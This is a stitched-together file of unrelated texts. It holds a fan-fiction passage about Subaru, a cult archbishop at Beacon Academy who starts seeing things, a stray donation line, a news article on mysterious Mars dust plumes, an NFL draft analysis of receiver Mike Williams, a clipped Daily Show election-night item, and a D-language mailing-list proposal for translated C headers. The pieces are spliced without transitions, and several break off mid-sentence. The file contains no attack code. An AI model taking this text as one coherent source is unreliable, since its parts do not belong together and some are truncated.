"No. I'd rather get to my destination than travel there. I don't want to travel from Mistral to Vale again." Ren said, taking her hand off his lips. Nora adopted a thoughtful expression, cupping her chin and placing her free hand on her hip.
"Yeah, that trip was horrible. But that's not the point! The point is that we have to show…"
"Subaru."
"Subaru around the school! I won't take any chances of him falling behind! Now, follow me my legion, as we travel amongst the stars, to the cafeteria!"
"I already know where that is."
"Doesn't matter!" Nora replied to Subaru cheerily. Ren gave a chuckle of amusement, catching up to Nora, walking next to the excited girl. Subaru resisted the urge to sigh, a trend that he noticed becoming more and more of a luxury than a necessity. Subaru lagged behind, unwilling to partake in any form of madness that Nora may have dragged him in.
Nora Valkyrie was an interesting character. She always seemed upbeat, and taking the littlest of things to a level that would seem out of the ordinary. It was an enjoyable out of the ordinary though, not the sort that the Cult could compare to. Invisible hands, shape shifters, and people who ate others entire being, existence and all, kind of out of ordinary weren't what Subaru would classify as enjoyable.
"Subaru, correct?" Pyrrha spoke up, grabbing the Archbishops attention. Glancing at her, he gave a silent nod, to which she smiled at. "Ah, fantastic, has Beacon been treating you kindly?"
Kind was not the exact way Subaru would have put it. More like stressful or horrifying. It wasn't the way one would think of those terms however. Beacon had been stressful for the simple fact that he understood next to nothing about Remnant. Again, that was the reason Subaru tended to spend his time within the library, reading and learning of this new land The World Above rarely spoke of. Horrifying for the fact that everyone in the school seemed to have this uncanny quirk that made them special. Not in the ability department either.
Nora was as hyperactive as a squirrel. Jaune was by all means a klutz. Ruby had a fascination with weapons and the unknown. Yang was a flat out brute. Weiss was a stuck up princess. Pyrrha was overly nice. Blake was a bookworm on par with Beako. Ren was by all means a monk.
Hell, Fox was blind! Literally Blind!
"…It's been a little more than interesting." Subaru hesitated, choosing his words wisely. He didn't want to say something that wasn't true if he could help it. Pyrrha smiled, her positivity coming off as eerie for Subaru.
"That's wonderful!" Pyrrha cheered, silently clapping her hands together. "I do hope you enjoy your stay at Beacon! It's a wonderful place, and I'm more than happy to share if you want!"
"I'm not sure what you mean, but I'm good." Subaru declined, her attitude creeping him out. Seriously, her positivity was not helping his mood at all. He needed to change the subject… or something. "So, what is there to do around Beacon? Any… uh, things to do?"
"There's a ton to do at Beacon." Jaune pitched in, taking this for Pyrrha. Subaru internally thanked the Hunter Knight. "Like… Combat Club (Fight Club), or, uh… there's not a lot of clubs in Beacon, is there?"
"Of course there are!" Pyrrha said cheerily, Subaru screeching like a banshee in his mind. "While Beacon is a Hunter Academy, which focuses mainly on combat, there are other courses if a student wishes to go into a field that isn't as combat heavy. Like Tech, or Financing. There have been more than a handful of students going into Law, and other such careers."
"Wait, so I could actually become a Lawyer or something if I wanted to!?" Jaune asked, Pyrrha nodding. The words that were shared flew over Subaru's head, giving him a slight headache. He didn't know much about education in The World Above, but he knew it was a luxury for the rich. Work was sort of the same, having a hire on the spot process. From what Subaru could gather, Remnant must've worked a little differently if work and education were hand in hand.
Well, this would have to be something he studied later in the Library.
"Hey Subaru, I know this is more of a Ruby question, but do you have a weapon?" Jaune asked, dragging Subaru back into the conversation. At least this time it was something Subaru could understand, so he would concede.
"I don't technically have a weapon, but I know how to use a straight sword and am proficient with the whip." Subaru said, recounting the miniscule lessons in combat Clind had provided. The World Above was a dangerous place, so it wasn't put of the ordinary for Butlers and Maids to double as a bodyguard if needed. Pyrrha smiled at his answer.
"How great! As it turns out, both Jaune and I are swordsmen too!" Pyrrha exclaimed, clapping her hands as an idea sprung in her head. "Say, Subaru, would you like to have a duel?"
Subaru internally screamed 'NO' to her question, however he reined himself in. He had seen the way Pyrrha moved, and while she fought as she acted, kind, Subaru didn't want to be humiliated in a fight against a overly kind woman. However, he couldn't just decline, as he didn't wish to get on anybody's bad side, no matter how miniscule it may be.
"Sure, how about next week?" Subaru offered, dodging the invitation to fight. Subaru wasn't a pessimist, but he had no doubt something would go down on Friday, if not sooner. If he didn't die, then he'd be hospitalized for awhile during whatever fight there was. Pyrrha ever present smile seemed to twist into something unorthodox for her.
"That is wonderful!" Pyrrha said, her voice betraying the look on her face. She seemed all to happy for this for some reason. It was hard to notice, and Subaru doubted he would have caught on if he wasn't on edge with the whole killer scenario. He'd rather focus on training and on evading that outcome than worry about some girl who didn't know what to do with herself.
Beacon Academy
A Few Hours Later
The rest of the tour had followed the same process as Team SSSN's introduction to Beacon. A tower there. A restroom there. The classrooms there. Only, Subaru had actually gained a little insight on one of the buildings. Actually, it wasn't technically a building, but a tower.
"The CCT, huh?" Subaru repeated the name out loud, hands in his pockets as he looked up at the towering… tower. Lights on the sides of it shined a light green, giving it an ominous, although welcoming, visage to it compared to the night sky. Truly, only one structure in The World Above compared to this; That blasted tower in the middle of the desert. "And apparently, there's four of these, all connected to a… electronic frequency?"
Subaru didn't know much of anything that came out of Ren's mouth when he explained the purpose of the tower, but he understood it was vital to Remnants continued survival. Without it, long range communications through the Metia's called Scrolls would be, for a lacked of better terms, jammed, as in a distortion of communication. At least, that's how Ren explained it.
That wasn't what caught Subaru's interest in the building however. It was more of the story behind how they came to be. Due to a War, simply named 'The Great War', Remnant was put on the brink of annihilation. The only reason it ended was because of a King, specifically Vales, stepping in and putting a stop to it. As a gift, and a token of forgiveness, Atlas shared with it its technology.
This sounded a lot like the Demi-Human War in The World Above. Where giants, Half-Breeds, Lizard Folk, Elf's and the like went against Humans. Subaru couldn't really bring himself to care about the inner workings of something so ordinary like The World Above, but he found a sort of fascination for Remnant for some reason.
Subaru was never one for history or mathematics. He enjoyed the occasional knowledge he gleaned off of second hand conversations and such, but he never really fully devoted himself into just one thing. On a good day, you'd probably catch him reading in the corner, a Sci-fi Novel in hand, or even practicing his concentration with his Claws, but never actually reading History books and the like.
In Remnant though? It was the complete opposite. Throughout most of his days, he'd taken the chance to devour as much knowledge as he could in the Library. The history books didn't read like history books to him, but Fantasy Novels that contained countless stories of Remnant and it's heroes. There was one peculiar chapter that caught his interest. It was set during the Great War, trenches being dug around Vacuo in hopes to stave off the endless onslaught of Atlas. A soldier, who's name escaped Subaru, spent three days and nights tending to his comrades. Sadly, he'd forgotten to tend to himself, dying due to dehydration. A few days later, the War came to an end. The man received a memorial, and a statue to commemorate what he did for his brother-in-arms.
Once upon a time, Subaru dreamt of being that kind of person. Devoted, and caring of those around him. Now however? He knew he would never be someone like that. He wasn't a hero, but a villain. He killed. He stole. He was the opposite of a hero.
A pang of guilt gripped his heart before be swallowed it. There was no reason for him to feel that way. He did what he had to survive. Anyone else in his position would do the same.
Subaru let out a somber tsk, kicking his foot in agitation, taking his eyes off the CCT and making his way to his Dorm. Why was he thinking like this? It didn't bother him when he purged that Lizard Village awhile back, so why was he bothered by it now? He was an Archbishop of Pride. He should have felt Pride at what he accomplished. Pride for who he was.
So why did it feel so wrong?
"Oof!" A sudden force brought him out of his momentary trance. Rubbing his head in pain, Subaru looked down to the individual he had unfortunately knocked over. His eyes widening who it was. Fear, dread, hysteria. Subaru wasn't sure what he felt, but he knew it wasn't pleasant.
"R-R-R-Rem!?" Subaru questioned, the girl looking up in anger. Subaru's breath hitched, tripping over himself as he backed away. Rem got up, walking over to him, her fists clenched in anger. "W-W-What are you doing here!? Y-Y-you're supposed to be with Emilia!"
Rem didn't respond, instead increasing her pace. Subaru crawled backwards, doing his best to get away from the angered Oni, yet no matter how much he pushed, she just drew closer and closer to him. As she came within his range, Rem raised her right arm, the same move a Magic User did when they wished to direct their spells. Subaru raised his arms, blocking his face from her sight.
"Hey, are you okay?" That… that wasn't what Rem sounded like. Shaking, Subaru lowered his arms, the mop of blue hair was replaced by a trimmed light green. Her skin wasn't even light, it was dark. Subaru's eyes darted back and forth between her outstretched hand, which offered to help him up, and her eyes that silently judged him.
'What… what the f % was that!?' Subaru thought to himself, trying his best to calm himself down. None of what just occurred made any sense. Why was Rem there? Why did he freak out at the sight of her? Why did he even see her? Admittedly, the Green haired girl in front of him looked similar to her, but that was no reason to freak out like that. 'I-It has to be a lack of sleep or something… yeah! Yeah!'
"T-Thank you."
"Are you okay? You looked really freaked out there."
"Yeah, I just thought I saw… something." Subaru said, choosing his words carefully. He almost admitted to seeing someone.
Hesitantly, he grabbed girls hand, allowing himself to be pulled along like a puppet. Letting go, Subaru silently nodded his head in thanks, the message successfully getting through to the girl. She smiled, before her eyes widened and narrowed as she got closer to his face. Subaru backed away, successfully hiding his discomfort from his face.
"He~y, I recognize you! You're that new guy, the one who fought Fox!" She leaned back, giving Subaru space to breathe, which he was thankful for. Subaru dusted off his uniform, doing his best to act like nothing had happened.
"Uh, yeah, that's me! Natsuki Subaru, pleasure to make your acquaintance." Subaru said, overdoing his Formal persona. He still wasn't one hundred percent with that whole Rem scenario.
"Emerald Sustrai. I'm in some of your classes. Say, your not from Mistral are you? Your name doesn't sound like anything like Vales locals. Actually, it doesn't sound like your names following the 'Color Naming Rule' at all!"
"Color… Naming Rule?" Subaru repeated, genuinely confused. What the heck was 'The Color Naming Rule'? That sounded obnoxiously stupid to him.
"You don't know? What the hell kind of education did you get when you were a kid? Well, I guess I'll have to teach you then, The Color Naming Rule is a… I wouldn't say a law, but a tradition that all of Remnant follows. Well, except Vacuo and Mistral, sorta, but they have their own fancy way of doing it." Emerald said, leaning On her hip as she went a little off topic.
"So, what does it imply?" Subaru asked, curious about this. Again, Remnants way of life was fascinating for Subaru, even if he wasn't that smart.
"Well, basically it's a tradition where everyone names their children after colors or something similar. For example, my names Emerald, and Emerald is the name of a Jewel that's green. You see?"
"That is… really fitting actually." Subaru said, looking at Emeralds green hair. Thinking back on it, wasn't there another piece of Jewelry called 'Ruby'? That… that would explain Ruby's name. She fit it too, if the descriptions were anything to go by. "I'm not sure where I was born, but I know I wasn't raised in Mistral."
"Aw, was hoping there'd be another one of us. Oh well. Anyways, it was nice chatting, but I really have to go." Emerald said, passing Subaru by before he even got a chance to speak. Turning to her, she gave a wave of her hand. "Catch ya later, Mr. Cultist!"
"Yeah, I'll see you-" Subaru stopped, his breath hitching and eyes widening in surprise. Subaru snapped his neck back to the girl, surprise betraying his face. Yet when he looked, no one was there. The green haired girl was gone, replaced by nothing except for a lone streetlight, shining down on where she was meant to be.
"W-What the hell?" Subaru said, grabbing his face. Was all that just a figment of his imagination? No, it couldn't be. That girl was physical. She had bumped into him, helped him up, and she… felt all to real. Besides, He had gained new information on Remnant, one that explained the naming process. That was something he wouldn't have been able to come up with.
Unless he was truly going insane. That what he felt knocking him down was nothing but in his head. 'No. No it can't be.'
Letting out a shaky breath, he forced himself to calm down again. 'There was no one there. I was just imagining things. Stress at this whole killer thing is getting to me. It has to be. It has to be.' With a nod, Subaru lowered his hands, placing down in his pockets, ignoring the scenario that had just occurred. Subaru never noticed however, that when he left, the girl stood there, her face troubled, but content. Taking out her scroll, she messaged her leader one, simple message. (1)
'The Cultist is broken.'
Beacon Academy
Wednesday Morning
Before First Period
Subaru wasn't able to sleep that night.
With all that had been going on in the past day, it wouldn't have come as a surprise to anyone that this would be the case. A wild killer on the loose, his mistakes with Ruby and Yang the day before and the possibility of him being insane coming into fruition, it was a wonder how Subaru was even to keep a cool head about this.
Clicking his heel on the ground, he took in the sight that surrounded him for what seemed to be the thousandth time. Grass as far as the eye could see, wet and pristine, reflecting the light of the sun in an almost transcendent gleam. A river sat to his left, the school sitting far to his right. Benches lined the area, a fence sitting in a wide oval like shape.
This part of the school was lovingly called 'The Battle Ground'.
Why anyone would name it such was beyond Subaru. If he had to guess though, it would have to be the mock battles that were held monthly around here. From the way Sun had described it, it was to be a grand event; a sort of free for all where almost everything went. Whoever won would gain a grand prize the likes of which Subaru (apparently) had never see.
Once again, that brought up the question as to why a Hunter Academy, which taught students how to slay Grimm, would also teach students how to brutalized others. Well, as Subaru found out due to his time in the last loop, Hunters weren't just slayers of Grimm. They also slated humans when need be.
From what he learned, Hunters operated similarly to the Knights of Lugnica. While the Guards of the Kingdom would police the populence of Lugnica, the Knights would act as a Higher Authority against skilled Humans or, in Subaru's case, the Cult. The Police of Vale worked in a similar fashion to this. Vales officers would police the public, while Hunters would quell stronger foes like The White or Black Fang. Well, if requested or paid to of course.
Hunters worked similarly to Mercenary groups. While the majority went to work for Legions or Outposts that operated outside of the Kingdoms, some went in a completely different direction. Working as hired muscle, on the move or stationary. That didn't mean they didn't kill Grimm however, as there were more than enough Huntsmen stories that would even reach Subaru's ears (through the Library of course).
That was the reason the Battle Grounds and Arena existed.
And Subaru had just torn it asunder.
Small holes littered the ground, hand prints the size of a young teen imprinted in the earth. All around the oval it was like this. Subaru felt slightly guilty for whoever tended to the field, as this would be hell to clean up. Clicking his heel again, he focused on two claws, one for each foot.
"Okay, how about this?" Subaru asked himself, flattening the Claws palms, placing them under his feet. Subaru lowered himself, placing a knee under himself and holding himself up with his arms. Not bothering to count down, he charged, using the force of his Claws to propel him to higher speeds. The wind hit his face, songs of air whistled through his ears as he turned, following the fences outline. Surprisingly, it felt good. Running this fast that is.
As he neared the place from where he started, he used to Claws to puncture the ground, slowing him down. Subaru greedily took in handfuls of air, doing his best to calm his racing heart. Grabbing at his chest, he straightened his back, releasing a deep intake of oxygen.
47 seconds.
It had taken forty seven seconds to run around that track. Without the use of his Claws, his highest sprint had been two minutes and thirteen seconds. That was a major difference versus the use of his claws. If Subaru wasn't so tired, he would have cheered. Instead, he settled with falling on his back, closing his eyes as he felt the softness of the grass caressing his back.
Subaru was happy. Amidst all the stress that accompanied him during his time at Beacon, Subaru couldn't deny that he was happy. He had met some interesting people, and while he wouldn't go so far as to claim to be their friends, Subaru would admit they were enjoyable to be around. Well, maybe not Pyrrha, but that was a different topic. He had also learned more than his whole time in The World Above. History was interesting, and the oh so lovely condiment of Mayonnaise existed. That wasn't even touching the fact that he had just found a way to run faster than most human beings.
Truly, Subaru was happy.
But so freaking tired.
The sound of shuffling clothes caught his attention. Cracking open his eyes, he watched the silhouette of a girl (?) hover over him, the figure hidden by the light of the Sun. Raising his arm over his eyes, shadowing them from the light, Subaru took in what looked to be… well, a girl. The sun still blocked his view of her, but he was at least sable to tell the Black hair that hung loosely over her shoulder.
"Uh, hey?" Subaru said weakly, his lack of sleep affecting his speech. The girl smiled, leaning on her hip.
"Hi." Her voice came out smooth, the sound gently brushing against his ears. If Subaru were to admit anything, he'd say that she sounded almost gorgeous. It was like she had perfected speech itself, beyond anything what humanity would have acquired. That was all just from a single greeting. "Are you enjoying yourself?"
"I'm not sure. I'm immensely tired, but I can't seem to fall asleep. I've been stuck practicing my techniques all night, trying to clear my mind." Subaru admitted. He didn't know why he was bothering talking to this stranger, but he didn't really see a problem in it. He was happy, and that was all that mattered. The girl responded by gently kneeling, sitting next to him.
"I can see that. You've practically destroyed the place." She commented, not sounding perturbed by that fact. She lifted her fingers, brushing stray hairs out of his face. Subaru was too tired to stop her. Besides, her touch felt incredibly soft, helping his drowsiness. "Say, you wouldn't happen to mind sharing how you did this, would you? It very much fascinates me."
"Nah, I don't mind." Subaru whispered out, his eyes fluttering as he slowly closed them. "I… I was using the Unseen Hand… to push… off the ground, hel… helping me go faster."
"Unseen Hand? What's that?"
"It's… it's a power I stole from Bete… another Archbishop."
"Another Archbishop? Does that mean you're one, Subaru?" Subaru didn't answer, his soft breaths signaling her that he had fallen asleep. She smiled, leaning near his forehead, and whispering the tiniest of words.
"Goodbye, my Archbishop of Pride, Natsuki Subaru. I can't wait for you to join us."
Subaru's eyes snapped open, sitting up faster than he thought was humanly possible. His eyes darted around for that girl, yet no matter how much he searched, she was not to be seen. Subaru's mind connected the dots, slowly coming to the conclusion that no, that wasn't real, and yes, he was being driven insane.
First that dream in the police station, then seeing Rem in a girl that looked nothing like her, who ended up not being real herself, now a girl who knew of who he was? Either someone was playing with his mind, or he had finally broke like the other Archbishops.
Subaru wasn't really sure which one was preferable.
Beacon Academy
Library
Thursday, Late After School
Do you know what one of the greatest achievements mankind has ever created to this day? No, it isn't paint or the light bulb, or the existence of cars or guns. It wasn't even the coffee you drink each morning to get yourself through the day. It was the development of Public Libraries.
That's what Subaru believed at least. From what Ruby and JNPR had explained to him last loop, the Library was continuously outdated by the existence of scrolls, which contained a much more vast amount of information, but Subaru didn't really care. He didn't know how to work the Scroll besides opening his door, and Subaru didn't see a reason for himself to learn. Sure, he could have gained more knowledge if he gained access to it, but that wouldn't benefit him until after he finished everything in the Library.
Besides, nothing could beat the feel of book paper.
'Oh god, I'm becoming a Book Worm like Beako!' Subaru morbidly thought, the image of him sitting in the Forbidden Library, reading along with Beako in silence bothering him. Yet he didn't shut the book he was reading. It was too addicting to close now.
Speaking of bothersome scenarios, Subaru had finally gotten some sleep. During each period, due to him having gone through it before, Subaru had taken that time to catch up on some rest. While it did ruin his sleep schedule, Subaru didn't very much care as long as it helped him in the end. Especially during fight class, as everyone tended to ignore him.
Well, maybe not for the whole of the fight class. During Wenday fight class, Subaru had spotted a familiar set of green hair. One that he believed to be messing with his head, and one that Subaru was now keeping an eye on.
Emerald Sustrai.
Subaru didn't bother reintroducing himself, as there was still a probability that it had all been in his head, but it didn't hurt to keep an eye on her. She was extremely suspicious, and Subaru didn't like that. Especially with all that was going on.
"Ah, Subaru, may I join you?"
Subaru wasn't as startled as you'd might think when asked this. For some reason, since he'd arrived in Remnant, he'd been getting jumpy at every sound, a trend that continued to Beacon Academy. One would think that with a Killer on the loose, he would be rightfully jumpy, but he had gotten used to it. Everyday it felt like there was a new event that he needed to address, or a new character to meet. He felt like a puppet on strings, and he wouldn't play the part of a toy.
"Ah, Ren, I don't mind." Subaru said, Ren nodding slightly in thanks as he sat down in front of him. No words were shared between them as Ren opened his book, reading whatever was in it. Again, Subaru probably enjoyed Ren's company the most out of all of Beacon. Ren was silent, didn't talk unless he needed to, and when he did it always held some worth to Subaru. Sure, he enjoyed the bombastic Nora at times, as she was fun to be around, but Ren was peaceful. Subaru could tell, given enough time, they could be good friends.
The silence continued, neither talking, but enjoying each other's |
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Thank you to all 264 of you who invested in Ubuntu MATE via PayPal this month!WASHINGTON, Feb. 16 (UPI) -- In 2012, dozens of amateur astronomers spotted large plumes of dust rising off the surface of Mars. More than two years later, scientists still don't have a suitable explanation for the phenomenon.
In a new study, published this week in the journal Nature, scientists recount the strange occurrence and survey the various attempts to illuminate the plumes' origins or cause.
The phenomenon was observed twice, over the course of two ten-week long periods, in March and April of 2012. What began as a wide blob of dust slowly extended into a towering plume -- a finger of debris that stretched some 621 miles across, and the same distance lengthwise out into space.
"The features changed rapidly, their shapes going from double blob protrusions to pillars or finger-plume-like morphologies," researchers wrote in the new paper.
"I was really quite amazed that it was sticking out the side of the planet quite prominently," amateur astronomer Damian Peach, a resident of Selsey, England, and one of the first backyard sky-gazers to spot it, told New Scientist.
Both dust clouds kicked up by storms, as well as naturally occurring clouds of carbon dioxide and water crystals, have been observed on Mars; but neither in the shape or size of those seen in 2012.
There are two main explanations. One is that the plume was a traditional gas and water vapor cloud. The other is that it was an aurora, like the ones that turn Earth's polar skies into a scene from Fantasia. But both explanations have problems.
"Our explanation of this plume as an aurora would require an immense energetic flux, which our calculations show are highly unrealistic," physicist Agustin Sanchez-Lavega, a researcher at Spain's University of the Basque Country, explained to Discovery News via email.
"We favor the cloud scenario -- the condensation of water or carbon dioxide -- since the plume formed in the cold mornings," Sanchez-Lavega added.
The plumes were both seen at Mars's terminator, where night turns into day -- and where stark temperature differences might occur. Still, this explanation would require extreme cold, temperatures that the current Mars atmospheric models don't entertain.
"Therefore, very particular conditions occurred at that time in the area that currently we do not understand," he said.
Many find the cloud explanation just as unlikely at the aurora theory.
"Frankly, I'm puzzled by the observations," Bruce Jakosky, an astronomer at the University of Colorado, Boulder and head of NASA's Mars-atmosphere-observing MAVEN mission, told New Scientists. "I don't understand how material can get that high and stay there for so long."
Jokosky and others say the only way to explain the mystery is to wait for it to happen again, and to be ready to make more detailed observations.One of the most impactful pieces of football content I’ve ever consumed was an article
by Adam Harstad
of Footballguys detailing psychologist Daniel Kahneman’s theory on bias he called “What You See Is All There Is” or WYSIATI. In his
own assertion
, Kahneman explains that when we take in some elements of a story or occurrence, we often construct the rest of the story off of what we see and pass up the pursuit of “the unseen” or what we don’t already know. As it relates to football, Harstad wonders if this unconsciously makes us biased towards certain players based on what we can plainly see on a broadcast view, an inherently limited and incomplete picture, and if we open ourselves to creating a story based only on those “seen” events rather than the entire complexion of their game.
Evaluating college prospects is a tricky endeavor. Not only is there no exact scientific method to follow but we’re also attempting to oversimplify a process that revolves around the complex and unpredictable nature of human subjects, something that many evaluators appear to entirely forget. Making the matter even more difficult is the fact that some of us, even those in the tightest inner circles of the NFL, are working with incomplete information.
Harstad wrote this piece in November 2015, but the notion behind Kahneman’s original WYSIATI theory and its application to player evaluation is exactly what led me to create the charting methodology Reception Perception over a year prior to its publication.
I believe that the wide receiver position is one of the most susceptible to this sort of bias. So much of a receiver’s job is executed before the ball arrives for them to attempt a catch, or even prior to to the quarterback deciding to throw a pass their way. Yet, that portion of their game is rarely captured by traditional broadcast angles, leaving those unable or unwilling to dig through the footage of additional angles, like the all-22, to only evaluate what happens at the catch point and beyond on a route-to-route basis.
Harstad wonders, “Are we biased towards receivers whose biggest strengths come after the catch as opposed to receivers who excel before the catch?” That’s likely true, but I’d assert that there’s another, perhaps greater bias created by Kahneman’s WYSIATI phenomenon. Due to the public’s limited access to footage beyond the broadcast angle for college games, we often see perhaps incomplete conclusions made on wide receiver prospects based on what can be seen on that angle—primarily at the catch point and beyond rather than before it.
We see that single element in the story of their game and it becomes the primary construction tool in creating biases about the rest of their profile.
It is plain to see that Clemson wide receiver Mike Williams can dominate at the catch point. Even if you haven’t poured over his college game film all you needed was a few exposures to watching him live, most notably in the National Championship, to glean that reality. A wide receiver that makes a large amount of dominant, highlight-reel contested catches often leads the public to a natural conclusion I’ve seen pop up on a number of occasions in my time as an evaluator.
“If he’s winning all these contested catches, it must be because he can’t separate.”
The goal of Reception Perception is to illuminate what occurs on a route-to-route basis; its use is that of a tool to remind us of “the unseen.” In Williams’ evaluation, it can help us decide if we should have concerns about his ability before the ball arrives, despite his pristine work in contested situations.
Alignment and target data
Games sampled: Louisville, South Carolina, Pittsburgh, Ohio State, Virginia Tech, Alabama
Mike Williams has long had the intrigue of NFL Draft evaluators. As a sophomore in 2014, Williams posted over 1,000 receiving yards and showed he was a big play maven, averaging 18.1 yards per catch. Unfortunately, he couldn’t sustain that momentum as a serious neck injury cost him the remainder of his junior season after just two catches in his first outing. Williams elected to return for his senior season and culminated his collegiate resume with 98 catches, 1,361 yards and 11 touchdowns on way to Clemson snagging the National Championship trophy.
The appeal to Williams is easy to see on the surface as he’s built like the prototypical No. 1 X receiver. The Clemson wideout is listed at 6-foot-3 and over 220 pounds. He was used as a such in his collegiate career, as well. Williams lined up outside on a whopping 97.9 percent of his snaps taken over the six games sampled for his Reception Perception evaluation.
Despite playing on an offense with intriguing pass-catchers like Artavis Scott, Hunter Renfrow and Jordan Leggett, Mike Williams was the focal-point of the Tigers’ aerial attack. Deshaun Watson targeted Williams on 36 percent of the 172 routes in his Reception Perception sampled. Williams paid back his quarterback’s faith by being a clearly reliable target. Williams hauled in a catch on 26.2 percent of his routes run, which was the third-highest figure in the receivers sampled from the 2017 NFL Draft class and 4.8 percent higher than the two-year average.
Contested catch conversion rate
As mentioned, Mike Williams’ strength as a player is his ability at the catch point. Physical contact and traffic doesn’t bother him; he’s a strong leaper and tracks the ball well. He’s a classic “wins-in-the-air” receiver.
With a contested catch conversion rate of 81.3 percent, Reception Perception does not deny that as Williams’ true best attribute. His score in this metric falls in the 91st percentile among the receivers sampled over the last two seasons. He has strong hands overall checking in with a 3.2 drop rate, the fourth-lowest among the Top-15 receivers charted this year.
Williams’ proficiency in contested situations gives him what I call a “trump card.” A receiver with a trump card has one trait in which they are just so inherently dominant that even if a defender stops them on three out of four attempts, on that fourth down their trump card will eventually shine through.
Of course, Mike Williams’ ability to win contested catches is not what’s in question here. What Reception Perception will help answer is whether Williams has enough separation ability and acumen as a route-runner to be more than just a jump ball threat.
Success rate vs. coverage
The primary metric in the Reception Perception catalog is “success rate vs. coverage” which measure how often a wide receiver gets open on every route they run and against different forms of defenses. Mike Williams’ positive performance in this metric may surprise some.
Mike Williams scored above the two-year prospect average in success rate vs. man, zone and press coverage. His best score was his 82.5 percent success rate when facing zone coverage, 5.4 percentage points higher than the two-year average. We’ve yet to see Williams’ athletic testing results as of press time, but those findings aside, athleticism may not be the pivotal marking of his game. Williams is undersold as a technician and a mental player diagnosing zones. That technical prowess also shows up on his release moves from the line of scrimmage with a 71.2 percent success rate vs press coverage, falling at the 71st percentile.
Now, Williams’ success rate vs. man coverage score isn’t quite as strong as his marks against zone and press coverage, despite it being above average. With a 69 percent success rate, Williams falls at the 55th percentile. Again, that’s not an elite score like the 79.6 percent success rate posted by his counterpart Corey Davis. The two are quite different prospects with contrary strengths and that’s quite alright. What we’ve learned from Williams’ success rate vs. coverage scores is that his separate ability is “good enough” to make him a viable No. 1 receiver candidate when viewed alongside the trump card he carries in contested situations.
One common comparison assigned to Williams is that of Chicago Bears wide receiver Alshon Jeffery. Much like Williams, Jeffery is known as a jump-ball specialist who relies on that trait to offset his perceived issues as a separator. Reception Perception reveals that the comparison is fair, even if the concerns with both players’ ability to separate are overstated:
If Williams can amass the type of production and make the impact of a player like Alshon Jeffery, his future pro team will be more than pleased.
Route data
While we’ve learned that we shouldn’t be overly concerned about Williams’ ability to separate from coverage, it’s still necessary to dig into his route tree to see where he is most successful at creating separation.
Red is below the two-year prospect average, green is above and yellow is within the average.
Mike Williams’ route percentage chart reveals a clear utilization plan for the wide receiver. Clemson asked Williams to run an intermediate route including the curl, comeback and dig below the two-year charted average rate for college prospects.
You can see that his usage on shorter routes was quite a bit higher, as most of the more shallow patterns were right in line with the average rate, in addition to his post route usage. It was on vertical patterns like the nine and corner route that Williams showed up with an above average rate. His ability to separate deep and in the air on shot plays should not be in question.
Further highlighting that the intermediate game is not where he’s at his best, Williams’ route success rate chart shows the areas of the field where his NFL team will look to make the most use of him.
The three routes in which Williams ran under the average were also three of the four where he failed to create separation. His highest success rates came on shorter patterns like the slant and flat in addition to his vertical work on the post, nine and corner routes.
Unless Williams takes a dramatic step in his development as a route-runner, it’s unlikely that he ever becomes an elite separator or that his NFL team will make much use of him on nuanced out-breaking routes. The question for those attempting to project him to the pro game is will that really matter? I often find myself offering a resounding “no” to queries like this.
Good coaches cater the assignments they dole out to match the strengths of their receivers. It’s why a player’s lack of ability to run the full route tree is often a hollow concern. If a player is dominant on just a handful of routes, what’s the sense in asking them to work outside of that comfort zone just for the sake of it? The goal should be to set them up for an optimal usage, even if it limits their route portfolio.
Even the most diehard viewers would likely be surprised at how many receivers fall into a usage pattern such as this, including some of the league’s best wideouts. Take for example the route percentage chart of Calvin Johnson, who is certainly one of the top receivers to ever play at his peak, during his final NFL season.
Even one of the best to ever do it came with limited route tree, with over 53 percent of his routes being corners, slants or nines. The Lions were able to make use of Johnson’s incredible skills and position him as an easy target for his quarterbacks by assigning a rather simple route portfolio. This is not to suggest that Williams is a comparable talent to Johnson, or that he’ll produce at his level. Yet, what this does show us is that it’s certainly possible to funnel 140-plus targets on a No. 1 receiver workload even if the player runs just a handful of simplistic routes.
Reception Perception certainly suggests that there is little reason to worry about Mike Williams projection to the NFL as a separator or future usage as a No. 1 receiver. The details in “the unseen” revealed by the methodology show that just because he has a clear trump card in the contested catch game does not mean that we should limit our thoughts on what else he can do.
Williams will compete with Corey Davis to be the first wide receiver off the board in the 2017 NFL Draft. The process that will play out over the next few months will likely have a say in who ends up taking the honor home to be selected over the other. Although, in the end, the decision may come down to pure archetypal preferences. The trump card of Williams’ ability in the air help him have a clear projection to an early role, but the good enough separation ability Reception Perception sees gives hope to the idea that there is more to him than that.
If you’re interested in more Reception Perception analysis, make sure to visit our Reception Perception pages for college prospect evaluations and pre-order The Ultimate Draft Kit for access to 50 NFL players’ full data this summer. You can keep up with all of the work using the #ReceptionPerception hashtag on Twitter.As the results continued to tick upward in favor of Republican nominee Donald Trump during Tuesday’s election night broadcast of the The Daily Show, Trevor Noah reacted with sincerity and humor in equal parts.
“This is it, the end of the presidential race, and it feels like the end of the world,” Noah said. “I don’t know if you’ve come to the right place for jokes tonight because this is the first time throughout this entire race where I’m officially sh-tting my |
modifications/additions are made, there could be a standard way to disable them and use the original version. On Mon, Oct 17, 2011 at 6:02 AM, Walter Bright <newshound2 digitalmars.com> wrote: Brad and I were talking about some D code that needed openssl support, wh= en we ran into the same old problem: No D files corresponding to the openssl C.h files. It's not that these are a big problem to create, it's just that they are = not done, and it tends to turn off people from using D. D is binary API compatible with C, but only with a corresponding D import file. This, out= of the box, makes D *harder* to use than C. Lots of people roll their own, but that work is hard to find and haphazar= d. This problem keeps coming up again and again. So I propose creating, on github.com/D-Programming-Language, a new repository called CAPI. The CAPI Manifesto ------------------ CAPI is a collection of C header files to publicly available C libraries and their translations to D. The idea is that if, in C, to interface to a library one would write: =A0 #include "foo.h" then the corresponding D code would look like: =A0 import foo; Each C.h file would have a corresponding.d file. Each C directory would have a corresponding D directory, for example: =A0 #include "bar/foo.h" =A0 // C =A0 import bar.foo; // D The top level directory of each library will have two subdirectories: =A0 C/ =A0 D/ and there will be a one-to-one correspondence of files and directory structure between them. The D import files will be a rote translation of the corresponding C.h file. No attempt will be made to fix, improve, or extend the C api. No attempt will be made to duplicate the C documentation, or replace it in any way. There will be no unittests. Every effort will be made to avoid needing any D specific binary files. When an updated version of the C header files becomes available, those wi= ll get checked into the C subdirectory tree, and then the corresponding D fi= les will get updated. Version tags used must match the version tags used by the C API files. The license used for the D versions should match the C ones, as they are = a derived work.
